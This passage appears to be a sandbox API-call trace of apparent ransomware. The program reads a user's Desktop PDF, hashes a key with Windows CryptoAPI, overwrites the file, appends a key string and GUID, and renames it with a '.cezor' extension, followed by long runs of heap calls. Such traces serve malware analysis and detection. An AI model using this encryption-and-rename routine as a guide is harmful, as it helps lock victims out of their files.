ftLastWriteTime.dwHighDateTime=0x1d4c824, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UB qDPSTcD6SsAM5.pdf", cAlternateFileName="UBQDPS~1.PDF")) returned 1 [0060.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d708 [0060.620] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa6) returned 0x2fedd78 [0060.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d708 | out: hHeap=0x670000) returned 1 [0060.620] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\UB qDPSTcD6SsAM5.pdf") returned=".pdf" [0060.620] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\UB qDPSTcD6SsAM5.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\ub qdpstcd6ssam5.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0060.620] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=42000) returned 1 [0060.620] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0060.623] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa3ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.623] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0060.623] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0060.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.624] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0060.624] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xa410, lpOverlapped=0x0) returned 1 [0060.624] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.624] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0060.624] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.624] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0060.624] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74e3d0) returned 1 [0060.625] CryptCreateHash (in: hProv=0x74e3d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0060.625] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0060.625] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0060.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0060.625] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0060.625] GetLastError () returned 0x0 [0060.625] CryptDestroyHash (hHash=0x3038608) returned 1 [0060.625] CryptReleaseContext (hProv=0x74e3d0, dwFlags=0x0) returned 1 [0060.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0060.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa410) returned 0x3132418 [0060.625] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0060.625] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0060.625] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xa40b, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xa40b, lpOverlapped=0x0) returned 1 [0060.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0060.626] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xa410, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0060.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0060.626] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0060.626] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0060.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0060.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0060.626] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0060.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0060.626] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0060.626] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0060.626] CloseHandle (hObject=0x5c4) returned 1 [0060.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0060.627] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0060.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0060.627] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\UB qDPSTcD6SsAM5.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\ub qdpstcd6ssam5.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cJ1uF3yzdYr\\UB qDPSTcD6SsAM5.pdf.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cj1uf3yzdyr\\ub qdpstcd6ssam5.pdf.cezor")) returned 1 [0060.627] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0060.627] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0060.628] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0060.628] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e994230, ftCreationTime.dwHighDateTime=0x1d4cbad, ftLastAccessTime.dwLowDateTime=0x362be050, ftLastAccessTime.dwHighDateTime=0x1d4c824, ftLastWriteTime.dwLowDateTime=0x362be050, ftLastWriteTime.dwHighDateTime=0x1d4c824, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UB qDPSTcD6SsAM5.pdf", cAlternateFileName="UBQDPS~1.PDF")) returned 0 [0060.629] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d690 | out: hHeap=0x670000) returned 1 [0060.629] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e3d0 [0060.629] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.629] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.630] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.630] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.631] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.632] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.632] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.633] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x74e9a8 | out: hHeap=0x670000) returned 1 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x80) returned 0x74e9a8 [0060.634] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0060.634] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 